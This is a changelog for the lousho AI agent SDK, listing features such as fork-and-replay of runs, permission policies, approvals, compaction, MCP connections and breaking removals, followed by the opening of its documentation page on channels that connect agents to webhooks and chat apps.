* Agent Forge History tab: the bottom drawer's new **History** tab lists the loaded agent's run steps (step, status, finish reason, tool calls, tokens, cost). "Edit and replay from here" appends a user message or edits one of the step's tool results, forks the run at that step through `POST /runs/:id/fork`, and shows the fork next to the original as a side-by-side trajectory with the diverging turn and the drift entries highlighted, refreshed when the fork finishes. See docs/agent-forge.md#the-history-tab.
* `lousho dev` for agent directories and TS agents, with hot reload: `lousho dev <path>` takes a spec file (as before), an agent directory (`loadAgentDir()`) or a `.ts`/`.js` module whose default (or `agent`) export is a `SimpleAgent` or a `createAgent()` options object, detected by path type and extension (a bad path, extension or export fails with `LOUSHO_CONFIG_INVALID` / `LOUSHO_SPEC_UNSUPPORTED_FORMAT`). It watches the directory tree, or the module and its relative imports, and rebuilds the agent about 100 ms after a change with a `?t=<time>` cache-busted import, so edited tools reload; the new agent is built and `ready()` before it replaces the old one, which is then `close()`d. A failed rebuild keeps the last good agent and reports the error in the console, in a banner on the chat page and in the new `GET /dev/status` (`{ kind, path, reloads, error }`). `startDevServer(path, port?, host?, { overrides?, debounceMs? })` gains the options argument. Spec-file behaviour is unchanged; the chat is not streamed or per-tab. See docs/cli.md#lousho-dev and docs/agent-directories.md#run-it-with-lousho-dev.
* Multimodal input through the public API: `agent.send()` / `agent.stream()`, `session.send()` / `stream()`, `t.send()` in evals and `useLoushoAgent().send()` take the new exported `AgentInput` (`string | ContentPart[] | Message[]`): a string or parts become one user message, a `Message[]` is passed through (in a session it is appended to the transcript). Checkpoints, `agent.resume()` and queued input hold the parts like any message. The React user bubble shows the text with an `[image]` / `[file]` marker per non-text part. `SqliteStore` sessions and checkpoints save `Uint8Array` parts as `{ "$bytes": "<base64>" }`, as `FileSessionStore` does. Finishes the earlier change (its note that `agent.send()` / `session.send()` take no parts is out of date). See docs/providers.md#multimodal-input.
* Built-in `ask_question` tool: `createAgent({ askQuestion: true })` (off by default) or `askQuestionTool()` gives the agent `ask_question({ question, options?, allowFreeText? })`. A call pauses the run through the approval mechanism, so it waits durably like any approval (sessions, `memoryStore()` / `SqliteStore`, a restart between question and answer). The pending record gains optional `kind: 'question'` and `question: { text, options?, allowFreeText? }` (new types `ApprovalKind`, `ApprovalQuestion`; `describeApproval()` and `ASK_QUESTION_TOOL_NAME` are exported), and so do the `approval.requested` event and the React hook's `pendingApproval`. The new `agent.approvals.answer({ id, answer })` (the same as `resolve({ id, approved: true, note: answer })`) continues the run with `{ answer, option? }` as the tool result (`option`: index of the matching option); `approved: false` gives the model a `kind: 'rejected'` error saying the user declined to answer. `useLoushoAgent()` gets `answer(text)`. The `approve` callback may now return a string (`ApproveToolCall` returns `boolean | string`), which approves with that note, so code can answer questions. A tool run after an approval sees the decision's note as `ctx.approval.note` (new optional `ToolExecutionContext.approval`). See docs/approvals.md "Asking the user a question".
* Agent Forge time travel API: Agent Forge's `FileCheckpointStore` keeps the bounded per-session checkpoint history (`history()`, `historyLimit` option, `delete({ keepHistory })`) with the same semantics as `LocalStorageCheckpointStore`, checked by the SDK's history contract suite. The runtime control server gains `GET /runs/:id/history` (each step's status, save time, finish reason, tool calls, tokens and cost), `POST /runs/:id/fork` (`{ fromStep, patch?: { toolResult?, appendInput?, businessState? } }`, forks with `AgentExecutor.fork()` and starts the fork as a run of its own) and `GET /runs/compare?a=&b=` (`compareTrajectories()`). Fixed on the way: Agent Forge's chat transcript compiles against multimodal `Message.content` again, keeping each message's text. See docs/agent-forge.md#time-travel.
* Fork and replay: `AgentExecutor.fork({ sessionId, fromStep, newSessionId?, checkpointStore, patch? })` takes the newest entry of `fromStep` in the session's checkpoint history, applies `patch` (`messages(messages)`, `businessState`, `toolResult: { toolCallId, result }` replaced in place so the transcript stays provider-valid, `appendInput` queued as a user message) and saves it as the `'in-progress'` checkpoint of `newSessionId` (default `<sessionId>.fork-<n>`), leaving the original session untouched; it returns `{ sessionId, step, checkpoint }`, and `execute({ sessionId, checkpointStore, input: [] })` continues the fork. A missing step throws the new `LOUSHO_CHECKPOINT_NOT_FOUND` code. `createAgent()` agents gain `agent.fork(sessionId, { fromStep, newSessionId?, patch? })` over `store.checkpoints` (resume with `agent.resume()`). `compareTrajectories(a, b)` compares two checkpoints or transcripts step by step: each run's steps (text, tool calls and results), the first diverging step and the `lousho eval --drift` diff. New types `ForkOptions`, `ForkPatch`, `ForkResult`, `TrajectoryComparison`, `TrajectoryStep` and `DriftEntry`. See docs/durable-execution.md#fork-and-replay.
* Multimodal message parts: `Message.content` is now `string | ContentPart[]`, where a `ContentPart` is `{ type: 'text', text }`, `{ type: 'image', image, mimeType? }` (an `http(s)` URL, a `data:` URL or a `Uint8Array`) or `{ type: 'file', data, mimeType, filename? }` (new types `ContentPart`, `TextContentPart`, `ImageContentPart`, `FileContentPart`). The built-in providers map the parts of `user` messages to the `ai` v4 user-content parts: images go to the model with all four (the `ai` SDK downloads an image URL first for Anthropic and Ollama); file parts become a `[file <name> (<mimeType>) not sent]` text note with a one-time `console.warn`, since the pinned peers (`@ai-sdk/*` 0.0.x, `ollama-ai-provider`) cannot send files (a subclass sets `acceptsFileParts = true` to send them). `system`, `assistant` and `tool` messages are sent as their text. The new `textOf(message)` returns a message's text (the string, or its text parts joined), and is what `estimateTokens()` (each image or file part counts 1,000 tokens), compaction, `recordReplay()` fingerprints (cassette messages gain an optional `attachments` list: each image or file as its URL or a digest of its bytes), `mockModel()`, `MockLLMProvider`, OpenTelemetry content attributes and the React reducer (`ui.send` takes parts too) now read. `FileSessionStore` saves `Uint8Array`s as `{ "$bytes": "<base64>" }` and loads them back. Pass multimodal messages as `AgentExecutor.execute({ input: Message[] })`; `agent.send()` / `session.send()` taking parts is a separate follow-up. See docs/providers.md#multimodal-input.
* Declarative permission policies: `permissions?: PermissionRule[]` on `createAgent()`, `ExecuteOptions` and `resumeAfterApproval()` options. A rule is `{ tool: string | string[] | RegExp | '*', when?: (args, { toolName, toolCallId, sessionId }) => boolean | Promise<boolean>, action: 'allow' | 'deny' | 'ask', reason? }`; rules are checked in order for each tool call (after argument validation and `preToolCall` hooks, before `needsApproval`) and the first match decides: `allow` runs the call without approval even when `needsApproval` would ask, `deny` gives the model a tool error with the new `kind: 'denied'` (`ToolDeniedError`, plus `reason`) and streams `tool.error`, `ask` pauses for approval (or asks `approve`). No match keeps today's behaviour. New helpers `allow(tools)`, `deny(tools, reason?)`, `ask(tools)` and types `PermissionRule`, `PermissionAction`, `PermissionToolMatcher`, `PermissionContext`, `PermissionDecision`, `PermissionDecisionEntry`, `PermissionOptions`. Audit log: `onPermissionDecision(entry)` gets `{ toolName, toolCallId, decision: 'allow' | 'deny' | 'ask' | 'default', rule?: { index, reason? }, args?, at }` per call (`args` left out under `redactContent`), and streams get the same entry as the new typed `permission.decision` event (`PermissionDecisionEvent`; additive, the event schema version stays 1). Neither is produced unless `permissions` or `onPermissionDecision` is set. Sub-agents inherit the lead's rules (checked before their own) and its `onPermissionDecision`. See docs/approvals.md#permission-policies.
* Compaction events and the `compaction` option: `agent.stream()`, `session.stream()` and `AgentExecutor.stream()` emit two new typed events whenever the compaction hook compacts a request: `compaction.start` (`strategy`, `tokensBefore`, `contextWindow`, `thresholdTokens`) before the work and `compaction.done` (`strategy`, `tokensBefore`, `tokensAfter`, `prunedToolCallIds`, `summary?`, `error?: { message }`) after it, inside the step and before the model call; `error` is set when the strategy failed and the hook fell back. Additive: the event schema version stays 1. `GenerateHookContext` gains the optional `emit(event)` (set in streamed runs only) that the hook uses. `createAgent({ compaction })` takes `true` (the prune hook with its defaults) or `{ strategy?, thresholdPercent?, contextWindow?, protectedTokens?, summarizer? }`, where `summarizer` (a `'provider/model'` string or an `LLMProvider`) selects `twoPhaseStrategy()` with that model; `summarizer` together with `strategy` is a `ConfigurationError`. `createAgent({ hooks })` (new) takes any `AgentHook[]`, run before the compaction hook. See docs/compaction.md.
* Connect MCP servers from config: `connectMcp(servers, { lazy?, onError?, logger? })` (`@lousho/build-ai-agent/mcp` and the root) connects stdio (`command`/`args`/`env`) and streamable HTTP (`url`/`headers`) servers, lists their tools as `<server>__<tool>` descriptors and returns `{ tools, close(), status() }`. Every server connects up front (listing tools needs a connection); `lazy` (default `true`) reconnects on the next tool call after `close()` or a dropped connection. `onError: 'skip'` leaves a failing server out with a warning instead of rejecting. `createAgent({ mcpServers })` connects them on the new `agent.ready()` or the first `send()` / `stream()` and adds their tools; the new `agent.close()` disconnects them (both are no-ops without `mcpServers`). `specToAgent()` now connects `spec.mcpServers` the same way (closes TODO); `agent.mcpServers` still lists them. `loadMcpTools()` accepts any `{ listTools, callTool }` (`McpClientLike`). See docs/configuration.md#connect-mcp-servers-mcpservers-connectmcp.
* Error codes with fixes: every `SDKError` now has a stable `code` (`LOUSHO_<AREA>_<NAME>`, e.g. `LOUSHO_CONFIG_MISSING_PROVIDER`, `LOUSHO_PEER_MISSING`, `LOUSHO_SPEC_INVALID`, `LOUSHO_SESSION_AWAITING_APPROVAL`), a one-sentence `hint` and a `docs` link to its section of the new docs/errors.md; its message ends with a `[code] hint (docs)` line (`detail` is the message without it), and `toString()` always shows it. `ERROR_CODES` / `ErrorCode` (new exports) are the registry, and a test keeps it, the codes used in `src/` and docs/errors.md in sync. The plain `Error`s thrown by `createAgent()` (no model, `instructions` + `prompt`, `sessionId` without checkpoints), `resolveProvider()` (bad spec, unknown prefix, missing API key, missing peer), `AgentExecutor.execute()` / `stream()` (missing `provider` / `agent` / `input`, approval with no `approvalStore`), `resumeAfterApproval()` (unknown approval), sessions (invalid id, corrupt file, second iteration, no stream runner), `loadSpec()` and `specToAgent()` are now `ConfigurationError` / `ValidationError` / `SDKError` with codes; `MissingPeerDependencyError` extends `SDKError`. Existing message text is unchanged (the help line is appended). `loadSpec()` suggests the field a top-level typo meant (`unknown field 'promt' (did you mean 'prompt'?)`). See docs/errors.md.
* Checkpoint history: `memoryStore()`, `SqliteStore` and `LocalStorageCheckpointStore` keep a bounded history per session: every `save()` also appends the record to a ring (`historyLimit` option, default 50, `0` keeps none; the oldest are dropped), and the new optional `CheckpointStore.history(sessionId, { limit? })` returns `{ step, savedAt, status, checkpoint }` entries newest first. `CheckpointStore.delete(sessionId, { keepHistory: true })` keeps the history (by default `delete()` clears it too), `getCheckpointHistory(store, sessionId)` reads it and returns `undefined` for a store without `history()`, and `SqliteStore` gains the `checkpoint_history` table (added when an existing database file is opened; `prune()` removes old entries). New types `CheckpointHistoryEntry`, `CheckpointHistoryOptions`, `CheckpointDeleteOptions` and `MemoryStoreOptions`. `KVCheckpointStore` and Agent Forge's file store keep no history yet. This is the first step of time-travel from a past step. See docs/durable-execution.md#checkpoint-history.
* `lousho eval --record / --replay / --drift`: `--record` runs every eval case against its agent's real provider through `recordReplay()` and writes one cassette per case next to the eval file (`__cassettes__/<eval-name>/<case>.json`, the normal cassette format); `--replay` runs every case from its cassette with no network, and a missing cassette fails the case with the `--record` command to run. Plain `lousho eval` with `CI` set replays the cases that have a cassette; without `CI` it is unchanged. `--drift` re-records into a temp directory and compares each case with its committed cassette (ordered tool names, JSON-normalized tool arguments, step count, finish reason; tokens with `--drift-usage`): the summary gets a `Drift:` table and each drifted case a soft `drift` assertion (a JUnit `<system-out>` note), or a gate failure with `--strict`. Existing eval files need no change: while a case runs, `AgentExecutor.execute()` wraps its provider for that case. `EvalResult` gains `cassettes`. Fixed on the way: trajectory and classic eval results now carry their `file` (it was read before the test ran and was always empty). See docs/evals.md#record-replay-and-drift.
* OpenTelemetry GenAI metrics and cost: `createOtelTraceExporter()` (`@lousho/build-ai-agent/otel`) now also records the GenAI client metrics `gen_ai.client.token.usage` (histogram, `{token}`, one record per `gen_ai.token.type` `input`/`output`) and `gen_ai.client.operation.duration` (histogram, `s`, for every model call and tool call) through `@opentelemetry/api`'s metrics API: the global `MeterProvider`, or the new `meter` option; `metrics: false` turns them off. Without a registered `MeterProvider` they are discarded by OpenTelemetry's no-op meter. Spans gain `lousho.cost_usd` (estimated USD: per step on `chat` spans, cumulative on `invoke_agent` spans, absent when the price table does not know a model) and `lousho.usage.estimated` on `invoke_agent` spans (it was already on `chat` spans). Any `TraceExporter` sees the cumulative attributes: `withSpan()` sums the cost of finished child spans onto their parent. See docs/observability.md.
* One `store` option: `createAgent({ store })` takes an `AgentStore` (`{ sessions?, checkpoints?, approvals? }`, new export) and wires all three from it. `SqliteStore` is one; the new `memoryStore()` returns in-memory sessions, checkpoints and approvals, and docs/sessions.md shows the file-based combination (`FileSessionStore`, `LocalStorageCheckpointStore`, `StorageServiceApprovalStore`). `agent.session({ id })` then keeps its transcript in `store.sessions` and checkpoints every turn in `store.checkpoints`; `store.approvals` is the default `approvalStore`. `SendOptions.sessionId` makes `send()` / `stream()` a durable run checkpointed in `store.checkpoints` (an error without one), so a one-shot durable job needs no `AgentExecutor`, and `agent.approvals.resolve()` keeps checkpointing it. The new `agent.resume(sessionId)` finishes an interrupted `send(..., { sessionId })` run, or else the session's pending turn (as `session.resume()`), and returns `null` when nothing is pending. A session's own `store` / `checkpointStore` and an explicit `approvalStore` still win, part by part. Without `store`, nothing changes.
* One tool-error shape: every failed tool call reaches the model as `{ error, toolName, message, kind }` (message capped at 2,000 characters, transcript message flagged `isError`), whichever path failed: `kind` is `'execution'`, `'validation'` (plus `issues`), `'not-found'`, `'rejected'` (plus `note`), `'not-run'`, `'mcp'` or `'sandbox'`. New exports `toolErrorResult()`, `ToolErrorResult`, `ToolErrorKind` and `ToolErrorInput`; `McpToolError` and the sandbox guard's error (named `SandboxRequiredError`, not exported) carry a `toolErrorKind`. `kind` is additive on thrown-error and validation results. The paths that built their own shapes changed, see Changed. See docs/tools.md.
* Background sub-agents end with the lead run: when a run ends (any `finishReason`, or an error), its background sub-agents still queued or running are cancelled, and the run resolves once their runs have stopped, so none of their events reaches `onEvent` afterwards. `withSubagentOptions(subagents, { awaitBackgroundOnFinish: true })` waits for them instead (an aborted or failed lead still cancels them). The new `result.backgroundTasks` lists the run's background tasks as `{ taskId, agent, status, elapsedMs, ... }` (absent when it started none). `createAgent({ subagentOptions: { maxConcurrent, awaitBackgroundOnFinish } })` sets the same options (over any attached with `withSubagentOptions()`, without changing the `subagents` value). The executor hook behind it is public: `ExecuteOptions.onRunEnd({ result } | { error })` is called exactly once per `execute()` / `stream()` run, however it ends; an error it throws rejects the run. See docs/sub-agents.md.
* Durable sessions: `agent.session({ id, store, checkpointStore })` (or a `store` that carries both, `{ sessions, checkpoints }`, such as a `SqliteStore`) runs each turn with `sessionId: '<id>.turn-<n>'` and that `CheckpointStore`, so it is checkpointed after every model response and tool result. `session.resume()` finishes a turn interrupted by a crash, a failed checkpoint write or a `PropagatingToolError` (also in a new process) without re-running recorded tool calls or model responses, adds it to the transcript as `send()` would and returns its result (`null` when nothing is pending); `session.pending()` reports an unfinished turn and `session.discardPending()` drops it. `send()` / `stream()` resume a pending turn before sending the new message. A turn paused for approval stays in its checkpoint until it finishes: `resume()` / `send()` throw `SessionAwaitingApprovalError`, and `agent.approvals.resolve()` continues it in the session. Sessions without a checkpoint store are unchanged. See docs/sessions.md.
* Structured output: `createAgent({ output: zodSchema })` (and `ExecuteOptions.output`) makes the final reply a JSON object validated by the schema. `send()`, `run.result` and `agent.approvals.resolve()` resolve with it as `result.object`, typed `z.output<typeof schema>` from `send()` and `stream()` of `createAgent()` agents (`SimpleAgent`, `AgentRun` and `ExecutionResult` gain a type parameter that defaults to `unknown`); `result.text` keeps the raw JSON. The system prompt gets an `## Output format` section with the schema as JSON Schema, and each model call carries the new `GenerateOptions.responseFormat: { type: 'json', schema? }` hint, which the `ai`-SDK providers map to `experimental_output` JSON mode. The reply is parsed (a code fence is tolerated) and validated; when invalid, one repair step sends the model the issues (it counts against `maxSteps`), and a reply still invalid ends the run with the new `finishReason: 'output-invalid'`, no `object` and `outputError: { message, issues }`. `run.done` gains an optional `object` field (additive: the event schema version stays 1). See docs/structured-output.md.
* Background sub-agents: the `task` tool takes `background: true`, which starts the sub-agent and returns `{ taskId, status: 'running', agent }` at once. Agents with `subagents` also get `agent_status({ taskId? })` (`queued`/`running`/`done`/`failed`/`cancelled`/`awaiting-approval`, plus `elapsedMs`), `agent_await({ taskId | taskIds, timeoutMs? })` (the synchronous `task` result, or `status: 'timeout'`) and `agent_cancel({ taskId })`. `withSubagentOptions(subagents, { maxConcurrent })` bounds how many run at once per lead run (default 3; the rest queue). Background sub-agents inherit the lead run's runtime and `maxSubagentDepth`, and aborting the lead cancels them. Not yet: resuming one that paused for approval (it reports `awaiting-approval` with its `approvalId`). A user tool named `agent_status`, `agent_await` or `agent_cancel` now conflicts with `subagents`, like `task`. See docs/sub-agents.md.
* React hook: new `@lousho/build-ai-agent/react` subpath with `useLoushoAgent(source, options?)`. `source` is `{ agent, sessionId? }` (in process, via `agent.stream()` or `agent.session({ id }).stream()`) or `{ url, headers?, fetch? }` (POSTs `{ input }` and reads the SSE or NDJSON event stream). It returns `messages` (text and tool calls with status, args and result), `status` (`idle`/`streaming`/`awaiting-approval`/`error`), `pendingApproval`, `error`, `usage`, `lastEvent`, `send()`, `stop()` (aborts; unmount aborts too), `approve(note?)` and `reject(note?)` (via `agent.approvals.resolve()` in process, or `POST ${approvalsUrl}/${id}` remotely). The framework-neutral `reduceAgentEvents()` reducer and `parseEventStream()` parser are exported from the same subpath. `react` (`^18 || ^19`) is an optional peer dependency. See docs/react.md.
* Summarizing compaction: `summarizeStrategy({ model, protectedTokens?, prompt?, maxSummaryTokens? })` replaces the turns before the protected tail with one `[Conversation summary]` user message written by `model` (an `LLMProvider` or a `"provider/model"` spec), keeping system and pinned messages and each assistant turn together with its tool results; if the summary call fails it falls back to pruning and reports `error`. `twoPhaseStrategy()` (the recommended strategy) prunes first and summarizes only when still above the threshold. `pinMessage()` / `isPinned()` and the new optional `Message.metadata` (never sent to providers) mark messages no built-in strategy compacts. `CompactionStrategy.compact()` may now be async, so `compactMessages()` returns a Promise; `CompactionResult` / `CompactionInfo` gain `summary` and `error`, and `CompactionInput` gains `thresholdTokens` and `signal`. A strategy that throws no longer fails the run: the hook reports the `error` to `onCompaction`. See docs/compaction.md.
* `createAgent({ retry, fallbackModels })`: `retry` (`withRetry()` options, or `false`) retries failed model calls and defaults to `{ maxRetries: 2 }` for models given as `provider/model` strings (or picked from the environment); a `provider` instance is wrapped only when `retry` is set. `fallbackModels` are `provider/model` strings tried in order once the primary model's retries are used up (`withFallback([withRetry(primary), withRetry(fallback), ...])`). `agent.stream()`, `session.stream()` and `AgentExecutor.stream()` report them as two new typed events, `provider.retry` (`attempt`, `maxRetries`, `delayMs`, `error: { message, category? }`, `provider`) and `provider.fallback` (`from`, `to`, `error: { message }`), for any `withRetry()` / `withFallback()` provider. Additive: the event schema version stays 1.
* Context compaction: `createCompactionHook()` returns an `AgentHook` that, before a model call estimated above `thresholdPercent` (default 0.9) of the model's context window, replaces tool results older than the newest `protectedTokens` (default 40,000) with a `[pruned: <tool> result, N chars]` marker, in the run's transcript itself. `compactMessages()` compacts a conversation by hand; `CompactionStrategy` / `pruneToolResultsStrategy()` make the strategy pluggable. See docs/compaction.md.
* `AgentSpec.mcpServers`: a validated map of MCP servers (stdio `command`/`args`/`env` or HTTP `url`/`headers`) in agent spec files. `loadSpec()` reports a bad entry with its name, `lousho doctor` reads the validated field instead of the raw file, and `specToAgent()` exposes the parsed servers as `agent.mcpServers` (connecting them is TODO). Existing specs are unaffected.
* `createAgent()` agents can pause for approval: a `needsApproval` tool no longer fails the run with "requires approval but no approvalStore". The run pauses (`finishReason: 'awaiting-approval'`) in a per-agent `InMemoryApprovalStore` (or the new `approvalStore` option), and `agent.approvals.list()` / `agent.approvals.resolve({ id, approved, note? })` continue it, in its session if it paused in one. The `approve` option decides calls in code without pausing.
* Tools own their contract: `ToolDescriptor` gains optional `inputSchema` (zod) and `execute(args, ctx)`, which are now the canonical fields. `defineTool()` sets both and no longer calls `ai`'s `tool()`. Argument validation, the schema sent to the model, and tool execution read them first and fall back to `tool.parameters` / `tool.execute`. `ToolDescriptor.tool` (the `ai` v4 `Tool`) is now legacy: it is still built by `defineTool()` and still accepted on hand-written descriptors this release, but new code should set `inputSchema` and `execute`.
* ✅ Complete Phase 5 migration: Security, Storage, Templates, and Utils modules
* ✅ Security module with encryption, hashing, and quota validation
* ✅ Storage service with file locking mechanism
* ✅ Template rendering engine with Jinja2-like syntax
* ✅ Comprehensive utility functions (errors, formatters, validators)
* ✅ File extraction and processing utilities
* ✅ JSON path navigation utilities
* ✅ Framework-agnostic architecture (zero framework dependencies)

### Fixed

* `lousho --help`, `-h` and `help` print the usage and exit 0 (they were "unknown command" with exit 1).
* Install truth: the README, installation, CLI, quick start and Agent Forge docs, `lousho init --help` and the message after a failed `lousho init` install now say the package is not on npm yet and point to one section, "Installing before the first release" (docs/installation.md); `npm install github:LinuxDevil/agent-sdk` is documented as not working. Stale "planned / not yet" statements about agent-directory channels, `toolCallId` in sandboxed tools and the Agent Forge Settings tab are corrected.
* On `ai` 5+ the providers send images as `file` parts with an image `mediaType` (`image/*` when unknown) instead of the deprecated `image` part, which made `ai` 7 log a deprecation warning for every image. `ai` 4 still gets `image` parts.
* OpenRouter on `@ai-sdk/openai` 2+, and the Ollama base URL (behaviour fix): `OpenRouterProvider` now builds its model with `provider.chat(modelId)` (Chat Completions, the only API OpenRouter implements) instead of the bare call, which targets the Responses API from `@ai-sdk/openai` 2 on; no change on `ai` 4. `OllamaProvider` appends `/api` to a base URL that has no path (`http://host:11434` or `http://host:11434/`), the form `ollama-ai-provider` and `ollama-ai-provider-v2` expect, so a configured bare host no longer hits `/chat` outside `/api` (before, `getModels()` hit `<baseURL>/api/tags` but chat requests went to `<baseURL>/chat`); a URL ending in `/api` or with any other path is used as it is, and `getModels()` no longer doubles `/api` for a base URL that has it. `lousho init` (and `create-lousho-agent`) now scaffolds OpenRouter projects on `ai@^7.0.0` with `@ai-sdk/openai@^4.0.0`.

### Deprecated

* `ExecuteOptions.onEvent`, `ExecutionEvent` and `ExecutionEventType`. `onEvent` keeps working: the executor now emits only `AgentEvent`s, and an adapter derives the old events from them in the old order (`start`, `text-complete`, `tool-call`, `tool-result`, `error`, `abort`, `finish`, sub-agents' tagged with `subagent`), with a one-time `console.warn`. Differences: `finish` now comes after the run's checkpoint is written (it was just before), and a run that fails outside a step (an input guardrail that throws, `onRunEnd` throwing) now gets an `error` event too. Migration: replace `onEvent` with `onAgentEvent` (or `createAgent({ onEvent })`); `start` -> `run.start`, `text-complete` -> `text.done` (step usage on `step.done`), `tool-call` -> `tool.start`, `tool-result` -> `tool.done` / `tool.error`, `abort` / `finish` -> `run.done` (`finishReason`), `error` -> `error` (`{ name, message }`). The full table is in docs/streaming.md#migrating-from-onevent--executionevent.

### Removed

* `ExecuteOptions.streaming`: it was never read. Use `AgentExecutor.stream()` / `agent.stream()` to stream a run. Passing it in an object literal is now a type error; remove the property.
* `ToolDescriptor.injectStreamingController` and `defineTool({ injectStreamingController })` (deprecated earlier in this release): no SDK path ever called it, so removing the property changes nothing at runtime. Passing it is now a type error; remove the property.
* `AgentExecutionOptions.streaming`: it was never read (`AgentExecutionOptions` is a legacy type no SDK API takes). Remove the property; stream a run with `agent.stream()` / `AgentExecutor.stream()`.
* BREAKING: `validateTokenQuotas()` (`src/security/quotas.ts`) and the SaaS-era types `SaaSContext`, `QuotaConfig`, `UsageStats` and `QuotaValidationResult` no longer ship from the package root. Nothing in the SDK called them. No replacement; copy the file into your project if you relied on it.
* BREAKING: `ConfigManager` and `SDKConfig` (`src/core/ConfigManager.ts`) no longer ship from the package root or `./core` (which still exports `AgentBuilder`). Nothing in the SDK used them. No replacement; copy the file into your project if you relied on it.
* BREAKING: The formatters `getCurrentTS()`, `getTS()`, `formatDate()`, `safeJsonParse()`, `removeCodeBlocks()`, `findCodeBlocks()`, `checkApiKey()` and the types `CodeBlock`, `CodeBlockError`, `CodeBlockResult` (`src/utils/formatters.ts`) no longer ship from the package root. No replacement; copy the file into your project if you relied on it.
* BREAKING: The JSON path helpers `getObjectByPath()` and `setRecursiveNames()` (`src/utils/json-path.ts`) no longer ship from the package root. No replacement; copy the file into your project if you relied on it.
* BREAKING: The file extraction helpers `getMimeType()`, `getFileExtensionFromMimeType()`, `replaceBase64Content()`, `isBinaryData()`, `extractBase64Data()`, `createDataUri()` and `ProcessFilesParams` (`src/utils/file-extractor.ts`) no longer ship from the package root. No replacement; copy the file into your project if you relied on it.
* BREAKING: The flows-ai converters are gone: `convertToFlowDefinition()` and `convertFromFlowDefinition()` (`src/flows/converters.ts`) no longer ship from the package root or `./flows`. There is no replacement: the flows-ai engine they targeted was never a dependency of this package and `FlowExecutor` never used them. Run flows with `FlowExecutor` directly.
* BREAKING: `MemoryManager` and its types `MemoryManagerConfig`, `StoreMemoryOptions`, `RecallMemoryOptions` and `MemorySearchResult` (`src/execution/MemoryManager.ts`) no longer ship from the package root. Nothing in the SDK used them (`AgentExecutor`, `createAgent`, `resume` and the flows never called them; only their own test and the `execution/index.ts` re-export). Migrate to `defineMemory()` and `createAgent({ memory })` (memory slots, see docs/memory.md).
* BREAKING: `ContextBuilder`, `ContextBuilderOptions` and `ExecutionContext` (`src/execution/ContextBuilder.ts`) no longer ship from the package root. Nothing in the SDK used them; they truncated by message count only. Migrate to `createAgent({ compaction })` (token-aware compaction, see docs/compaction.md).
* BREAKING: The `retry()` family (`retry`, `retryOnError`, `retryWithTimeout`, `retryBatch`, `RetryableOperation`, `RetryOptions`, `RetryResult`; `src/execution/retry.ts`) no longer ships from the package root. Provider calls retry through the provider wrappers; nothing else in the SDK used it. Migrate to `createAgent({ retry, fallbackModels })`, or copy the file into your project for general-purpose retries.
* BREAKING: The `data/` module is gone: the classes `Agent`, `Session`, `Result`, `Memory`, `Attachment` and the repository interfaces `BaseRepository`, `AgentRepository`, `SessionRepository`, `ResultRepository`, `MemoryRepository`, `AttachmentRepository`, `RepositoryCollection`, `RepositoryFactory`, `PaginationOptions`, `PaginatedResult` no longer ship from the package root. They were donor-product data tables that nothing in the SDK used once `MemoryManager` was removed. No replacement: unused. Use `AgentConfig`, sessions (`agent.session()`) and `defineMemory()` for the SDK's own concepts.
* BREAKING: `@lousho/build-ai-agent/testing` exports test utilities only. The in-memory repository mocks `MockAgentRepository`, `MockSessionRepository`, `MockResultRepository`, `MockMemoryRepository` and `MockAttachmentRepository` are removed with the `data/` module. No replacement: unused. `mockModel` and `recordReplay` are unchanged.
* BREAKING: The template engine (`TemplateManager`, `renderTemplate()` and the types `TemplateFilter`, `TemplateContext`, `TemplateOptions`, `ITemplateManager`; `src/templates`) no longer ships from the package root. Nothing in the SDK, `lousho init` or Agent Forge used it (the executor never rendered prompts through it; the scaffold templates are separate files under `src/cli/init`). No replacement: unused; use a template literal or your own renderer.
* `nanoid` is no longer a dependency. Generated ids (agent, run, trace, memory ids) now come from `globalThis.crypto.randomUUID()` via an internal `newId()`, so they are UUIDs instead of 21-character nanoids. Nothing public depended on the old format.
* `finishReason: 'max-steps'`: a run that exhausts `maxSteps` while the model still wanted to continue (last turn ended in tool calls) now resolves with `finishReason: 'max-steps'` instead of the stale last-turn reason (usually `'tool_calls'`), on `ExecutionResult`, the `finish` event and `run.done`. Resumed runs count `initialSteps` toward the budget. A run that finishes naturally within the budget is unchanged. Code that treated `'tool_calls'` as "hit maxSteps" should check `'max-steps'` instead (the eval `completed()` message and the MCP server's agent tool do).

### Docs

* README revamped into a short front page; the details it dropped moved to `docs/` (new pages: tools, approvals, providers, cli, flows, guardrails, utilities).

### Renamed

* The project is now **lousho** (it was `loushy`), before the first npm release, so nothing was ever published under the old name. Everything that carried the name changed with it, and this changelog uses the new names throughout, including in older entries: the package `@lousho/build-ai-agent` (was `@loushy/build-ai-agent`), the `lousho` CLI (was `loushy`), `create-lousho-agent` (was `create-loushy-agent`), the exports `useLoushoAgent`, `loushoAgent`, `LoushoAgentSource`, `LoushoUIMessageChunk` and the other `Lousho*` types, every `LOUSHO_*` error code and environment variable (`LOUSHO_MODEL`, `LOUSHO_API_TOKEN`, `LOUSHO_STORE`, ...), the `.lousho/` directory, the `lousho.*` span attributes and the `data-lousho-approval` stream part. Migration for a checkout that used the old name: replace `loushy` with `lousho` (keeping the case) in imports, scripts, environment variables and config, and rename an existing `.loushy/` directory to `.lousho/`.

### Published

* `@lousho/build-ai-agent` and `create-lousho-agent` are on npm. The README and the installation, quick start, CLI and Agent Forge docs no longer say the package is unpublished; "Installing before the first release" is now "Installing from a local build" (docs/installation.md#installing-from-a-local-build) and covers trying an unreleased commit. The hint printed after a failed `lousho init` install no longer mentions a 404; it points to `--sdk-path`. The docs site moved to [https://lousho.com](https://lousho.com).


# Channels
Source: https://lousho.com/channels



A **channel** connects an agent to one surface: a JSON API, a webhook, a chat
app. It says how an inbound request is authenticated, which conversation it
belongs to, and how the agent's reply (or an approval it pauses on) goes back
to the surface. `mountChannels()` serves your channels behind one `(req, res)`
handler and runs every request the same way:

```text theme={null}
POST <basePath>/<name>  ->  verify  ->  parse  ->  session turn  ->  reply (or onApproval)
```

Channels replaced the built-in trigger adapters (see
[Migrating from triggers](/upgrading#migrating-from-triggers)).
Channels add what triggers lack: each conversation on the surface is
a [session](/sessions), and approvals and questions go back to the surface.

On a Fetch host such as a Cloudflare Worker, `mountFetchChannels()` serves the
same routes with a `Request` in and a `Response` out (and the host's
`ctx.waitUntil` keeps a turn alive past an acknowledged webhook);
`lousho build --target=cloudflare-worker` mounts an agent directory's
`channels/` under `/channels` with it.

A channel that acknowledges early (Slack, Discord, Telegram, GitHub, Teams)
gets its answer back at once only when the turn can keep running after the
response: the handler's `ctx.waitUntil`, or the `waitUntil` option for a host
that passes no `ctx`. Without either, the response waits for the whole turn
